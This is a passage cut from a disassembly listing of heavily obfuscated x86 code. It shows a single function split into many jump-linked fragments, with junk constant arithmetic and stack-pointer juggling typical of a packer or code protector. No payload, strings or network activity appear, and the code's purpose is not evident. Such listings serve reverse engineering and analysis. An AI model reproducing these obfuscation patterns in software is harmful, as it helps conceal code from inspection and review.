		mov	[esp+24h+var_26+2], eax
		push	ebx
		jmp	loc_5AA84C
; ---------------------------------------------------------------------------


loc_5B8FB1:				; CODE XREF: sub_5A55E5+123D4j
		pop	eax
		or	ebp, edi
		jmp	loc_5AC669
; ---------------------------------------------------------------------------


loc_5B8FB9:				; CODE XREF: sub_5A55E5+FDEAj
		xchg	ecx, [esp+26h+var_26]
		pop	esp
		sub	eax, 28B7198Ah
		add	eax, ebx
		add	eax, 28B7198Ah
		sub	eax, 7BB840DAh
		push	0E0Dh
		jmp	loc_5BDCD0
; ---------------------------------------------------------------------------


loc_5B8FD8:				; CODE XREF: sub_5A55E5+163E5j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+26h+var_26]
		pop	esp
		mov	eax, [esp+22h+var_22]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5B8DF8
; ---------------------------------------------------------------------------


loc_5B8FF7:				; CODE XREF: sub_5A55E5+14C4Dj
		push	ebx
		mov	ebx, 66647FB6h
		jmp	loc_5AC0EB
; ---------------------------------------------------------------------------


loc_5B9002:				; CODE XREF: sub_5A55E5+18F2Cj
		pop	[esp+2Eh+var_2E]
		mov	esp, [esp+2Ah+var_2A]
		push	2Dh
		mov	[esp+2Eh+var_2E], ebx
		jmp	loc_5B9FA5
; ---------------------------------------------------------------------------


loc_5B9015:				; CODE XREF: sub_5A55E5+867Cj
		or	cl, 0EEh
		add	cl, 0E0h
		or	ah, cl
		pop	ecx
		add	ah, 0Ah
		jmp	loc_5AF8CB
; ---------------------------------------------------------------------------


loc_5B9026:				; CODE XREF: sub_5A55E5+137C7j
		push	ebx
		push	19310139h
		pop	ebx
		jmp	loc_5B7FBC
; ---------------------------------------------------------------------------


loc_5B9032:				; CODE XREF: sub_5A55E5+48C7j
		pop	ebp
		jmp	loc_5AD0EA
; ---------------------------------------------------------------------------


loc_5B9038:				; CODE XREF: sub_5A55E5+FE58j
		mov	edx, [esp+68h+var_68]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5AB447
		push	dword ptr [edi+1Ch]
		push	[esp+64h+var_64]
		push	[esp+68h+var_68]
		push	[esp+6Ch+var_6C]
		push	[esp+70h+var_70]
		pop	ecx
		jmp	loc_5AD1DD
; ---------------------------------------------------------------------------


loc_5B905E:				; CODE XREF: sub_5A55E5+A296j
		add	ebp, edx
		mov	edx, [esp+36h+var_36]
		jmp	loc_5B5A23
; ---------------------------------------------------------------------------


loc_5B9068:				; CODE XREF: sub_5A55E5+4E02j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp+20h+var_22+2]
		jmp	loc_5AE237
; ---------------------------------------------------------------------------


loc_5B9078:				; CODE XREF: sub_5A55E5+B359j
		mov	[esp+18h+var_18], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		push	68561587h
		pop	eax
		jmp	loc_5B5472
; ---------------------------------------------------------------------------


loc_5B908F:				; CODE XREF: sub_5A55E5+C214j
		add	edi, 58063345h
		jmp	loc_5AB645
; ---------------------------------------------------------------------------


loc_5B909A:				; CODE XREF: sub_5A55E5+9041j
		pop	ebp
		xor	ecx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], ecx
		jmp	loc_5AE42F
; ---------------------------------------------------------------------------


loc_5B90A6:				; CODE XREF: sub_5A55E5+1020Bj
		xor	ecx, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5B98E6
; ---------------------------------------------------------------------------


loc_5B90B3:				; CODE XREF: sub_5A55E5+16A63j
		mov	esi, 6FEB13B0h
		add	edi, esi
		pop	esi
		sub	edi, 18BC23FAh
		jmp	loc_5B8C71
; ---------------------------------------------------------------------------


loc_5B90C6:				; CODE XREF: sub_5A55E5+16B93j
		add	edi, 4
		push	edx
		jmp	loc_5BA940
; ---------------------------------------------------------------------------


loc_5B90D2:				; CODE XREF: sub_5A55E5+CDF6j
		mov	[esp+18h+var_18], eax
		jmp	loc_5B8E91
; ---------------------------------------------------------------------------


loc_5B90DA:				; CODE XREF: sub_5A55E5+16A9Dj
		mov	eax, 0A3B8690Fh
		sub	ebp, eax
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5B9410
; ---------------------------------------------------------------------------


loc_5B90EF:				; CODE XREF: sub_5A55E5+55FBj
		shl	ebx, 3
		dec	ebx
		neg	ebx
		push	ecx
		mov	ecx, 118536DFh
		add	ebx, ecx
		pop	ecx
		jmp	loc_5AC86D
; ---------------------------------------------------------------------------


loc_5B9103:				; CODE XREF: sub_5A55E5+123C3j
		mov	ebp, 2
		add	ebx, ebp
		jmp	loc_5AB497
; ---------------------------------------------------------------------------


loc_5B910F:				; CODE XREF: sub_5A55E5+7478j
		push	edi
		mov	edi, 8A0032Bh
		mov	edx, edi
		pop	edi
		push	edx
		not	[esp+20h+var_22+2]
		jmp	loc_5AFE7A
; ---------------------------------------------------------------------------


loc_5B9121:				; CODE XREF: sub_5A55E5+504Fj
		xor	eax, 5C830E83h
		and	eax, 3D4458E6h
		jmp	loc_5AC5D4
; ---------------------------------------------------------------------------


loc_5B9130:				; CODE XREF: sub_5A55E5+F5BFj
		sub	bl, 0E7h
		xor	bl, 0DFh
		jmp	loc_5BBE75
; ---------------------------------------------------------------------------


loc_5B913B:				; CODE XREF: sub_5A55E5+C69Fj
		push	37F370A5h
		push	[esp+20h+var_22+2]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		mov	ecx, 7E524C48h
		shl	ecx, 8
		shl	ecx, 6
		jmp	loc_5B0655
; ---------------------------------------------------------------------------


loc_5B9160:				; CODE XREF: sub_5A55E5+57E4j
		mov	ecx, 5E094CEFh
		sub	edi, ecx
		mov	ecx, [esp+2Eh+var_2E]
		add	esp, 4
		add	edi, esi
		add	edi, 5E094CEFh
		jmp	loc_5B113F
; ---------------------------------------------------------------------------


loc_5B917D:				; CODE XREF: sub_5A55E5+9DD0j
		dec	[esp+2Ch+var_2E+2]
		mov	edi, [esp+2Ch+var_2E+2]
		jmp	loc_5AD735
; ---------------------------------------------------------------------------


loc_5B9188:				; CODE XREF: sub_5A55E5+172DBj
		pop	esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, 62B05E79h
		push	ecx
		push	1641h
		mov	[esp+34h+var_36+2], ebp
		mov	ebp, 3A2D449Eh
		neg	ebp
		inc	ebp
		xor	ebp, 0A028BCF8h
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 4CB80605h
		neg	ecx
		push	esi
		mov	esi, 393957E4h
		add	ecx, esi
		pop	esi
		add	edx, ecx
		jmp	loc_5BE601
; ---------------------------------------------------------------------------


loc_5B91CD:				; CODE XREF: sub_5A55E5+11BEFj
		xor	ebx, 0FF37A96Bh
		shl	ebx, 3
		shl	ebx, 6
		push	ecx
		jmp	loc_5ACBDA
; ---------------------------------------------------------------------------


loc_5B91DF:				; CODE XREF: sub_5A55E5+AE8Fj
		mov	eax, 562007FEh
		jmp	loc_5B968D
; ---------------------------------------------------------------------------


loc_5B91E9:				; CODE XREF: sub_5A55E5+E5D4j
		xor	ecx, 0C7D805BCh
		jmp	loc_5B5B36
; ---------------------------------------------------------------------------


loc_5B91F4:				; CODE XREF: sub_5A55E5+B94Ej
		mov	esp, [esp+5Eh+var_60+2]
		mov	[esp+5Eh+var_60+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+5Eh+var_60+2]
		pop	esp
		add	ecx, 2
		xchg	ecx, [esp+5Ah+var_5C+2]
		pop	esp
		jmp	loc_5BF441
; ---------------------------------------------------------------------------


loc_5B921B:				; CODE XREF: sub_5A55E5+13004j
		push	edx
		jmp	loc_5BDEAB
; ---------------------------------------------------------------------------


loc_5B9221:				; CODE XREF: sub_5A55E5+17C96j
		pop	esp
		jmp	loc_5BCE1C
; ---------------------------------------------------------------------------


loc_5B9227:				; CODE XREF: sub_5A55E5+5834j
		push	ebx
		mov	bh, 72h
		mov	ch, 0B9h
		xor	ch, bh
		pop	ebx
		xchg	dh, ch
		not	dh
		xchg	dh, ch
		add	ch, 5Dh
		add	al, 0B4h
		jmp	loc_5B75EB
; ---------------------------------------------------------------------------


loc_5B923F:				; CODE XREF: sub_5A55E5+CB65j
		mov	bl, 0A3h
		jmp	loc_5B46CC
; ---------------------------------------------------------------------------


loc_5B9246:				; CODE XREF: sub_5A55E5+BAD5j
		sub	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	[esp+1Ch+var_1C]
		jmp	loc_5AFF9D
; ---------------------------------------------------------------------------


loc_5B925E:				; CODE XREF: sub_5A55E5+183F9j
		pop	ecx
		mov	ebx, [esp+14h+var_14]
		push	ecx
		jmp	loc_5B4692
; ---------------------------------------------------------------------------


loc_5B9268:				; CODE XREF: sub_5A55E5+4C3Ej
		xchg	ebp, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B9274:				; CODE XREF: sub_5A55E5+15F1Bj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_5BB01C
; ---------------------------------------------------------------------------


loc_5B9289:				; CODE XREF: sub_5A55E5+1038Dj
		push	esi
		jmp	loc_5BB90C
; ---------------------------------------------------------------------------


loc_5B928F:				; CODE XREF: sub_5A55E5+191C4j
		add	edi, edx
		jmp	loc_5B2D2B
; ---------------------------------------------------------------------------


loc_5B9296:				; DATA XREF: sub_5A55E5+43A3o
		mov	cx, word ptr [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	esp
		mov	edx, [esp+1Ch+var_1C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5BC8B7
; ---------------------------------------------------------------------------


loc_5B92B5:				; CODE XREF: sub_5A55E5+18FEFj
		add	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_22+2]
		push	4D2h
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_5B9822
; ---------------------------------------------------------------------------


loc_5B92C9:				; CODE XREF: sub_5A55E5+1655Cj
		pop	edx
		jmp	loc_5AEE3B
; ---------------------------------------------------------------------------


loc_5B92CF:				; CODE XREF: sub_5A55E5+13571j
		inc	ecx
		jmp	loc_5B5DF4
; ---------------------------------------------------------------------------


loc_5B92D5:				; CODE XREF: sub_5A55E5+16A12j
		shr	ebx, 4
		push	4EC1h
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 9242972h
		add	ebx, ecx
		pop	ecx
		xor	ebx, 573E034Fh
		mov	edx, ebx
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		shr	edx, 4
		push	ebx
		push	eax
		push	edi
		mov	edi, 241A3D06h
		mov	eax, 241A3D07h
		jmp	loc_5BDBA7
; ---------------------------------------------------------------------------


loc_5B930B:				; CODE XREF: sub_5A55E5+74D4j
		push	0
		jmp	loc_5ADAE0
; ---------------------------------------------------------------------------


loc_5B9315:				; CODE XREF: sub_5A55E5+E951j
		pop	esi
		dec	ebx
		add	ebx, 595D5E8Fh
		jmp	loc_5B43B9
; ---------------------------------------------------------------------------


loc_5B9322:				; CODE XREF: sub_5A55E5+E0BEj
		push	395Dh
		mov	[esp+18h+var_18], eax
		mov	eax, 2C8A148Fh
		or	edx, eax
		jmp	loc_5AC26B
; ---------------------------------------------------------------------------


loc_5B9336:				; CODE XREF: sub_5A55E5+BD80j
		or	edx, 16AB54D3h
		inc	edx
		add	edx, 1F5609B0h
		neg	edx
		sub	edx, 0EEF5CAA2h
		xor	ebx, edx
		mov	edx, [esp+4Eh+var_50+2]
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		inc	ecx
		xor	ecx, 7B4A469Ah
		jmp	loc_5AF626
; ---------------------------------------------------------------------------


loc_5B9362:				; CODE XREF: sub_5A55E5+13EA0j
		mov	[esp+46h+var_46], eax
		push	esp
		pop	eax
		jmp	loc_5B451B
; ---------------------------------------------------------------------------


loc_5B936C:				; CODE XREF: sub_5A55E5+B3BFj
		push	bx
		push	0FD8h
		mov	[esp+32h+var_32], ecx
		jmp	loc_5B22DA
; ---------------------------------------------------------------------------


loc_5B937B:				; CODE XREF: sub_5A55E5+6A65j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5BAFD6
; ---------------------------------------------------------------------------


loc_5B938F:				; CODE XREF: sub_5A55E5+18E16j
		add	eax, edi
		pop	edi
		jmp	loc_5AA974
; ---------------------------------------------------------------------------


loc_5B9397:				; CODE XREF: sub_5A55E5+185A7j
		push	esi
		push	0C403834h
		jmp	loc_5ABC06
; ---------------------------------------------------------------------------


loc_5B93A2:				; CODE XREF: sub_5A55E5+FC31j
		pop	ecx
		push	eax
		push	esp
		pop	eax
		jmp	loc_5AED36
; ---------------------------------------------------------------------------


loc_5B93AB:				; CODE XREF: sub_5A55E5+B156j
		push	edi
		mov	edi, 20541CECh
		jmp	loc_5B407F
; ---------------------------------------------------------------------------


loc_5B93B6:				; CODE XREF: sub_5A55E5+F0CFj
		shr	ebx, 6
		xchg	ebp, ebx
		jmp	loc_5B4B92
; ---------------------------------------------------------------------------


loc_5B93C0:				; DATA XREF: sub_5A55E5+4317o
		push	small 3D41h
		push	small 290Dh
		push	sp
		pop	small word ptr [esp+1Ah+var_1C+2]
		jmp	loc_5BEF06
; ---------------------------------------------------------------------------


loc_5B93D3:				; CODE XREF: sub_5A55E5+18DF1j
		pop	eax
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		add	ebp, 2
		push	ebp
		push	[esp+14h+var_10]
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		jmp	loc_5AF6A0
; ---------------------------------------------------------------------------


loc_5B93F6:				; CODE XREF: sub_5A55E5+108B6j
		mov	edx, 0EFB92639h
		jmp	loc_5BAB08
; ---------------------------------------------------------------------------


loc_5B9400:				; CODE XREF: sub_5A55E5+10721j
		sub	eax, ebx
		jmp	loc_5AFFA7
; ---------------------------------------------------------------------------


loc_5B9407:				; CODE XREF: sub_5A55E5+19EC1j
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_5AE87A
; ---------------------------------------------------------------------------


loc_5B9410:				; CODE XREF: sub_5A55E5+13B05j
		mov	ebx, ebp
		pop	ebp
		xchg	edi, ebx
		dec	edi
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, 0
		add	edx, 0FE81CE9h
		add	edx, 100618Ah
		sub	edx, ebx
		sub	edx, 100618Ah
		push	edi
		mov	edi, 5F754407h
		sub	edi, 6D44714Bh
		xor	edi, 1C894088h
		or	edi, 3FA31976h
		neg	edi
		push	eax
		mov	eax, 0FAC7863h
		xor	edi, eax
		pop	eax
		sub	edx, 67C03841h
		sub	edx, edi
		push	ecx
		mov	ecx, 705C5DC3h
		sub	ecx, 89C2582h
		add	edx, ecx
		mov	ecx, [esp+1Ch+var_1C]
		jmp	loc_5B65E2
; ---------------------------------------------------------------------------


loc_5B947F:				; CODE XREF: sub_5A55E5+14A70j
		pop	edx
		push	7E04h
		jmp	loc_5B9362
; ---------------------------------------------------------------------------


loc_5B948A:				; CODE XREF: sub_5A55E5+DBEFj
		pop	eax
		xor	ebx, 0A80EF32Bh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5AA55A
; ---------------------------------------------------------------------------


loc_5B9499:				; CODE XREF: sub_5A55E5+CBBDj
		xor	esi, [esp+2Ah+var_2A]
		jmp	loc_5AD968
; ---------------------------------------------------------------------------


loc_5B94A1:				; CODE XREF: sub_5A55E5+19008j
		inc	ch
		sub	ch, 0A7h
		sub	ch, 0A0h
		dec	ch
		sub	ch, 0FFh
		xor	ch, 26h
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		pop	ecx
		push	cx
		push	69CEh
		mov	[esp+2Ch+var_2E+2], edx
		jmp	loc_5BE64D
; ---------------------------------------------------------------------------


loc_5B94C7:				; CODE XREF: sub_5A55E5+4FC1j
		push	edx
		push	163Bh
		mov	[esp+52h+var_54+2], ebp
		mov	ebp, 33092B44h
		not	ebp
		push	ebp
		neg	[esp+56h+var_58+2]
		pop	ebp
		xchg	esi, ebp
		xchg	edi, esi
		push	edi
		not	[esp+56h+var_58+2]
		pop	edi
		push	esi
		push	edi
		pop	esi
		pop	edi
		xchg	esi, ebp
		inc	ebp
		push	ebx
		mov	ebx, 68B7CBF5h
		add	ebp, ebx
		pop	ebx
		jmp	loc_5BB715
; ---------------------------------------------------------------------------


loc_5B94FA:				; CODE XREF: sub_5A55E5+4B4Ej
		push	4F7Fh
		mov	[esp+14h+var_14], ebp
		jmp	loc_5BC0DD
; ---------------------------------------------------------------------------


loc_5B9507:				; CODE XREF: sub_5A55E5+1249Aj
		and	cl, 76h
		add	cl, 1Bh
		mov	dl, cl
		pop	ecx
		jmp	loc_5B3084
; ---------------------------------------------------------------------------


loc_5B9515:				; CODE XREF: sub_5A55E5+FDFBj
		or	esi, 23137CA7h
		jmp	loc_5B700B
; ---------------------------------------------------------------------------


loc_5B9520:				; CODE XREF: sub_5A55E5+CD4Aj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B0FE8
; ---------------------------------------------------------------------------


loc_5B9533:				; CODE XREF: sub_5A55E5+AAF1j
		sub	esi, 6DD50E91h
		pop	ecx
		add	esi, 4
		push	esi
		jmp	loc_5ABE7F
; ---------------------------------------------------------------------------


loc_5B9546:				; CODE XREF: sub_5A55E5+EE30j
		and	dh, 0E1h
		jmp	loc_5ACD0E
; ---------------------------------------------------------------------------


loc_5B954E:				; CODE XREF: sub_5A55E5+12614j
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_5B0E01
; ---------------------------------------------------------------------------


loc_5B9557:				; CODE XREF: sub_5A55E5+11BCAj
		mov	edx, 33B479A5h
		mov	ebx, edx
		jmp	loc_5B0E4E
; ---------------------------------------------------------------------------


loc_5B9563:				; CODE XREF: sub_5A55E5+941Ej
		mov	ebp, [esp+16h+var_18+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5B55EB
; ---------------------------------------------------------------------------


loc_5B957E:				; CODE XREF: sub_5A55E5+DFE9j
		push	[esp+30h+var_32+2]
		jmp	loc_5AC047
; ---------------------------------------------------------------------------


loc_5B9586:				; CODE XREF: sub_5A55E5+6C09j
		mov	esi, edx
		pop	edx
		xor	[esp+32h+var_2E], esi
		pop	esi
		pop	dword ptr [edx+30h]
		push	ecx
		mov	ecx, 30h
		add	ecx, edx
		push	ebp
		mov	ebp, 69686868h
		jmp	loc_5BDDB3
; ---------------------------------------------------------------------------


loc_5B95A4:				; CODE XREF: sub_5A55E5+46C0j
		add	esp, 4
		add	eax, 2F696023h
		push	ebx
		push	ebp
		mov	ebp, 518F7535h
		mov	ebx, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		sub	eax, ebx
		add	eax, 518F7535h
		push	edi
		push	2F696023h
		pop	edi
		jmp	loc_5AE578
; ---------------------------------------------------------------------------


loc_5B95CF:				; CODE XREF: sub_5A55E5+10A02j
		add	ebp, 0AA134EAh
		add	esi, ebp
		jmp	loc_5ADC66
; ---------------------------------------------------------------------------


loc_5B95DC:				; CODE XREF: sub_5A55E5+170B6j
		mov	[esp+30h+var_32+2], eax
		push	esi
		mov	esi, 753F7962h
		mov	eax, 753F7966h
		xor	eax, esi
		pop	esi
		add	esi, eax
		mov	eax, [esp+30h+var_32+2]
		push	7386h
		mov	[esp+34h+var_36+2], eax
		mov	eax, esp
		push	edx
		mov	edx, 4DE652AEh
		add	edx, 485B57AEh
		jmp	loc_5B3CAF
; ---------------------------------------------------------------------------


loc_5B960D:				; CODE XREF: sub_5A55E5+670Dj
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	cx, word ptr [esp+14h+var_14]
		push	ebx
		jmp	loc_5BCCF4
; ---------------------------------------------------------------------------


loc_5B9620:				; CODE XREF: sub_5A55E5+F445j
		pop	esp
		push	ebp
		push	eax
		jmp	loc_5BA091
; ---------------------------------------------------------------------------


loc_5B9628:				; CODE XREF: sub_5A55E5+19940j
		xchg	ecx, [esp+28h+var_2A+2]
		pop	esp
		or	byte ptr [esp+24h+var_26+2], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B9635:				; CODE XREF: sub_5A55E5+16EB6j
		mov	[esp+28h+var_2A+2], edi
		push	esi
		push	3BF44FFDh
		pop	esi
		jmp	loc_5AEE7E
; ---------------------------------------------------------------------------


loc_5B9644:				; CODE XREF: sub_5A55E5+47A8j
		add	esi, 1A4F3C16h
		xor	esi, 30914F64h
		push	edi
		mov	edi, 50A774A4h
		add	edi, 0DE15033Ah
		and	esi, edi
		pop	edi
		add	esi, 41687D38h
		sub	esi, 4D90A44Ch
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xor	ecx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], ecx
		xor	ecx, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5B7888
; ---------------------------------------------------------------------------


loc_5B9683:				; CODE XREF: sub_5A55E5+175F6j
		mov	ecx, 4
		jmp	loc_5BE452
; ---------------------------------------------------------------------------


loc_5B968D:				; CODE XREF: sub_5A55E5+13BFFj
		push	edi
		mov	edi, 4C5C332h
		sub	eax, edi
		jmp	loc_5AD5CE
; ---------------------------------------------------------------------------


loc_5B969A:				; CODE XREF: sub_5A55E5+113C9j
		xchg	eax, [esp+5Ah+var_5C+2]
		pop	esp
		add	[esp+56h+var_58+2], 5B144379h
		add	[esp+56h+var_58+2], eax
		jmp	loc_5B76DC
; ---------------------------------------------------------------------------


loc_5B96AD:				; CODE XREF: sub_5A55E5+455Cj
		inc	eax
		push	edx
		mov	edx, 242F414Bh
		and	edx, 3425730Ch
		not	edx
		add	edx, 584301C1h
		or	edx, 3F43439Bh
		jmp	loc_5B5482
; ---------------------------------------------------------------------------


loc_5B96CD:				; CODE XREF: sub_5A55E5+B29Fj
		sub	ax, bx
		sub	ax, 3CB5h
		pop	ebx
		pop	si
		push	ebp
		jmp	loc_5BE088
; ---------------------------------------------------------------------------


loc_5B96DD:				; CODE XREF: sub_5A55E5+15B68j
		mov	esi, 429C3B8Fh
		jmp	loc_5AD4C4
; ---------------------------------------------------------------------------


loc_5B96E7:				; CODE XREF: sub_5A55E5+91CAj
		shl	esi, 7
		shl	esi, 6
		push	ebp
		mov	ebp, 2D684C0Dh
		and	esi, ebp
		jmp	loc_5BC6CA
; ---------------------------------------------------------------------------


loc_5B96FA:				; CODE XREF: sub_5A55E5+143FCj
		mov	edx, 445D0412h
		add	eax, edx
		pop	edx
		jmp	loc_5BDA59
; ---------------------------------------------------------------------------


loc_5B9707:				; CODE XREF: sub_5A55E5+15271j
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		push	61E3h
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_5B1921
; ---------------------------------------------------------------------------


loc_5B9718:				; CODE XREF: sub_5A55E5+145C7j
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		push	esi
		mov	esi, 45844D7Eh
		jmp	loc_5BBE34
; ---------------------------------------------------------------------------


loc_5B9729:				; CODE XREF: sub_5A55E5+16CE7j
		xor	edx, ebx
		jmp	loc_5BCB48
; ---------------------------------------------------------------------------


loc_5B9730:				; CODE XREF: sub_5A55E5+14818j
		pop	ebp
		jmp	loc_5BEE3F
; ---------------------------------------------------------------------------


loc_5B9736:				; CODE XREF: sub_5A55E5+12216j
		mov	eax, [esp+58h+var_58]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_5BD123
; ---------------------------------------------------------------------------


loc_5B974E:				; CODE XREF: sub_5A55E5+18EECj
		sub	esi, ebx
		pop	ebx
		jmp	loc_5BD5A9
; ---------------------------------------------------------------------------


loc_5B9756:				; CODE XREF: sub_5A55E5+15CB2j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+54h+var_54]
		pop	esp
		mov	[esp+50h+var_50], edx
		pop	ecx
		mov	edx, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 40FC45EBh
		or	edi, 32E0115Ch
		jmp	loc_5B49E0
; ---------------------------------------------------------------------------


loc_5B9784:				; CODE XREF: sub_5A55E5+4D98j
		add	ebp, 4
		push	6A2Eh
		mov	[esp+18h+var_18], edi
		push	edx
		push	44EA4D6Dh
		jmp	loc_5B702C
; ---------------------------------------------------------------------------


loc_5B979D:				; CODE XREF: sub_5A55E5+198CAj
		xor	[esp+20h+var_22+2], 54D204D0h
		pop	edi
		push	ebp
		jmp	loc_5B663B
; ---------------------------------------------------------------------------


loc_5B97AB:				; CODE XREF: sub_5A55E5+1276Bj
		mov	[esp+12h+var_14+2], esi
		jmp	loc_5BA237
; ---------------------------------------------------------------------------


loc_5B97B3:				; CODE XREF: sub_5A55E5+1139Aj
		mov	ebx, eax
		pop	eax
		mov	ebp, ebx
		mov	ebx, [esp+28h+var_2A+2]
		jmp	loc_5B6C92
; ---------------------------------------------------------------------------


loc_5B97C0:				; CODE XREF: sub_5A55E5+FB8Bj
		add	edx, ebx
		pop	ebx
		add	eax, 17093D02h
		add	eax, edx
		sub	eax, 17093D02h
		jmp	loc_5BB949
; ---------------------------------------------------------------------------


loc_5B97D4:				; CODE XREF: sub_5A55E5+ADE4j
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], edx
		xor	edx, [esp+5Ah+var_5C+2]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+5Ah+var_5C+2], dx
		mov	dl, 96h
		add	bl, dl
		mov	dx, word ptr [esp+5Ah+var_5C+2]
		add	esp, 2
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], eax
		mov	al, 43h
		dec	al
		not	al
		and	al, 0Dh
		sub	esp, 2
		mov	word ptr [esp+5Eh+var_60+2], cx
		push	dx
		mov	dh, 32h
		jmp	loc_5A9F2F
; ---------------------------------------------------------------------------


loc_5B9822:				; CODE XREF: sub_5A55E5+13CDFj
		push	esp
		jmp	loc_5AF86E
; ---------------------------------------------------------------------------


loc_5B9828:				; CODE XREF: sub_5A55E5+19122j
		mov	ebx, 5F1B1BD7h
		dec	ebx
		and	ebx, 58EE337Bh
		push	edx
		mov	edx, 268225F3h
		xor	edx, 0F2D5C5E6h
		sub	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		xor	esi, eax
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		shr	esi, 6
		push	edx
		mov	edx, 0EFF73E65h
		sub	esi, edx
		pop	edx
		jmp	loc_5B82E9
; ---------------------------------------------------------------------------


loc_5B985F:				; CODE XREF: sub_5A55E5+701Cj
		neg	ecx
		sub	ecx, 6507C2F7h
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_5BB0B8
; ---------------------------------------------------------------------------


loc_5B9871:				; CODE XREF: sub_5A55E5+7F29j
		popa
		retn
; ---------------------------------------------------------------------------


loc_5B9873:				; DATA XREF: sub_5A55E5+415Fo
		push	[esp+14h+var_14]
		jmp	loc_5ABC27
; ---------------------------------------------------------------------------


loc_5B987B:				; CODE XREF: sub_5A55E5+1612Bj
		xor	edi, 0F828D2D0h
		sub	eax, edi
		pop	edi
		push	esi
		mov	esi, 53DF35DBh
		sub	eax, esi
		jmp	loc_5BE806
; ---------------------------------------------------------------------------


loc_5B9891:				; CODE XREF: sub_5A55E5+1736Aj
		sub	esp, 4
		jmp	loc_5B6095
; ---------------------------------------------------------------------------


loc_5B9899:				; DATA XREF: sub_5A55E5+41EBo
		mov	cx, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		jmp	loc_5BD034
; ---------------------------------------------------------------------------


loc_5B98B6:				; CODE XREF: sub_5A55E5+153CDj
		add	[esp+18h+var_18], 4
		pop	[esp+18h+var_18]
		push	ebp
		mov	ebp, 4
		jmp	loc_5BE773
; ---------------------------------------------------------------------------


loc_5B98C8:				; CODE XREF: sub_5A55E5+64EBj
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_5BE7E2
; ---------------------------------------------------------------------------


loc_5B98D5:				; CODE XREF: sub_5A55E5+14A7Fj
		push	[esp+34h+var_36+2]
		push	[esp+38h+var_3A+2]
		jmp	loc_5BCF35
; ---------------------------------------------------------------------------


loc_5B98E0:				; CODE XREF: sub_5A55E5+EA31j
		push	esi
		jmp	loc_5B6A59
; ---------------------------------------------------------------------------


loc_5B98E6:				; CODE XREF: sub_5A55E5+13AC9j
		and	eax, ecx
		pop	ecx
		jmp	loc_5B0F7D
; ---------------------------------------------------------------------------


loc_5B98EE:				; CODE XREF: sub_5A55E5+106BCj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_14]
		jmp	loc_5AA6C0
; ---------------------------------------------------------------------------


loc_5B98FF:				; CODE XREF: sub_5A55E5+10CDFj
		push	edi
		jmp	loc_5BCD87
; ---------------------------------------------------------------------------


loc_5B9905:				; CODE XREF: sub_5A55E5+E73Bj
